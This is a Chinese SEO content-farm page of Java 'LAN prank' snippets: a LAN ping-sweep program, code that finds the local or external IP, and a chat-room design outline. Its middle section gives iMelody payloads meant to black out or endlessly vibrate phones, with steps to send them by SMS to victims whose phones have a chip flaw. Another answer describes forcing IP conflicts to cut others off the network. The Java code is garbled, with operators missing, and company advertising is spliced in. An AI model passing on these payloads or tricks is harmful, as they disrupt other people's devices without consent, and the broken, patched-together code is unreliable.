重庆分公司,新征程启航

为企业提供网站建设、域名注册、服务器等服务

java代码局域网恶搞 java恶搞代码大全

java获取局域网ip地址 具体代码

import java.io.*;

创新互联服务项目包括乳源网站建设、乳源网站制作、乳源网页制作以及乳源网络营销策划等。多年来,我们专注于互联网行业,利用自身积累的技术优势、行业经验、深度合作伙伴关系等,向广大中小型企业、政府机构等提供互联网行业的解决方案,乳源网站推广取得了明显的社会效益与经济效益。目前,我们服务的客户以成都为中心已经辐射到乳源省份的部分城市,未来相信会继续扩大服务区域并继续获得客户的支持与信任!

import java.util.*;

import java.net.InetAddress;

public class Ip{

static public HashMap ping; //ping 后的结果集

public HashMap getPing(){ //用来得到ping后的结果集

return ping;

}

//当前线程的数量, 防止过多线程摧毁电脑

static int threadCount = 0;

public Ip() {

ping = new HashMap();

}

public void Ping(String ip) throws Exception{

//最多30个线程

while(threadCount30)

Thread.sleep(50);

threadCount +=1;

PingIp p = new PingIp(ip);

p.start();

}

public void PingAll() throws Exception{

//首先得到本机的IP,得到网段

InetAddress host = InetAddress.getLocalHost();

String hostAddress = host.getHostAddress();

int k=0;

k=hostAddress.lastIndexOf(".");

String ss = hostAddress.substring(0,k+1);

for(int i=1;i =255;i++){ //对所有局域网Ip

String iip=ss+i;

Ping(iip);

}

//等着所有Ping结束

while(threadCount0)

Thread.sleep(50);

}

public static void main(String[] args) throws Exception{

Ip ip= new Ip();

ip.PingAll();

java.util.Set entries = ping.entrySet();

Iterator iter=entries.iterator();

String k;

while(iter.hasNext()){

Map.Entry entry=(Map.Entry)iter.next();

String key=(String)entry.getKey();

String value=(String)entry.getValue();

if(value.equals("true"))

System.out.println(key+"--"+value);

}

}

class PingIp extends Thread{

public String ip; // IP

public PingIp(String ip){

this.ip=ip;

}

public void run(){

try{

Process p= Runtime.getRuntime().exec ("ping "+ip+ " -w 300 -n 1");

InputStreamReader ir = new InputStreamReader(p.getInputStream());

LineNumberReader input = new LineNumberReader (ir);

//读取结果行

for (int i=1 ; i 7; i++)

input.readLine();

String line= input.readLine();

if (line.length() 17 || line.substring(8,17).equals("timed out"))

ping.put(ip,"false");

else

ping.put(ip,"true");

//线程结束

threadCount -= 1;

}catch (IOException e){}

}

}

}

局域网中的电脑如何用java代码取得出口IP?

public class GetRealIp {

public static void main(String[] args) throws SocketException {

System.out.println(GetRealIp.getRealIp());

}

public static String getRealIp() throws SocketException {

String localip = null;// 本地IP,如果没有配置外网IP则返回它

String netip = null;// 外网IP

EnumerationNetworkInterface netInterfaces =

NetworkInterface.getNetworkInterfaces();

InetAddress ip = null;

boolean finded = false;// 是否找到外网IP

while (netInterfaces.hasMoreElements() !finded) {

NetworkInterface ni = netInterfaces.nextElement();

EnumerationInetAddress address = ni.getInetAddresses();

while (address.hasMoreElements()) {

ip = address.nextElement();

if (!ip.isSiteLocalAddress()

!ip.isLoopbackAddress()

ip.getHostAddress().indexOf(":") == -1) {// 外网IP

netip = ip.getHostAddress();

finded = true;

break;

} else if (ip.isSiteLocalAddress()

!ip.isLoopbackAddress()

ip.getHostAddress().indexOf(":") == -1) {// 内网IP

localip = ip.getHostAddress();

}

}

}

if (netip != null !"".equals(netip)) {

return netip;

} else {

return localip;

}

}

}

自己写了一个帮你实现,希望对你有帮助

安卓手机整人代码java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手机狂震代码

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

说明

1 “@”后面的数字越大,重复次数越多

2把上面代码复制,在计算机上保存为.txt文本文件,再改名为 .imy 文件

3 imy 放到手机里的Audio文件夹

4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象,就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞,那么则会产生上述所说效果.

局域网里怎么恶搞?

看你有没有机器的全部权限,如果可以的话很简单的!

看一下自己的IP段,把自己的IP改成从1-255挨个试试,别人的机器就会出现IP重复,这样他就不能使用网络了!

怎么用java做局域网的聊天工具(聊天室)?

呵呵,楼主您好!要用Java做聊天室说简单也不简单,但是说难呢也不难.

说简单点,就是会话跟踪技术(我个人这样理解).要做聊天室,您需要

使用到的工具: tomcat 服务器(因为是免费的,其他也可以哦,呵呵).

Myeclipse(sun公司提供的编写Java程序的工具,别说你不知道哈,

哪样的话我就晕倒了哦,呵呵)

页面框架的设计:index.jsp(聊天室主页面)index_top.jsp(聊天室的顶部页面)

usersonline.jsp(在线人数的统计及显示页面) sendMessage.jsp(发送信息的页面)

showMessage.jsp(显示聊天信息的页面)register.jsp(用户注册的页面)

login.jsp(用户登录页面)

当然,这是最简单的设计方式咯.您也可以设计得更好点.

页面介绍与功能:

index.jsp 主要是聊天室的主页面.由上中下3个框架组成,中间部分在分为

左右2个框架.实际上index.jsp就是一个由于5个框架组成的页面

顶部框架:放index_top.jsp页面.可以设计自己聊天室的特色(比如说:logo)

中间部分的左边框架:showMessage.jsp 显示聊天的信息

中间部分的右边框架:usersonline.jsp(在线人数的统计及显示页面)

底部框架:sendMessage.jsp 这个发送信息的jsp页面.不多说吧

聊天室的框架的设计大楷就是这样子咯

实现聊天:

1.编写一个servlet,用户处理的信息(包括验证用户是否登录和聊天信息)。

2.用户发送信息之后,将发送的信息存放到Application中(群聊)(放在session中就是私聊)

3.显示信息的页面每个XX秒中获取session或者Application中的数据显示出来就OK了

更多的东西还是需要您学习Ajax之后再做,会有不一样的效果哦。祝您成功哟.呵呵


网站标题:java代码局域网恶搞 java恶搞代码大全
本文路径:http://cqcxhl.com/article/dodjpej.html

其他资讯

在线咨询
服务热线
服务热线:028-86922220
TOP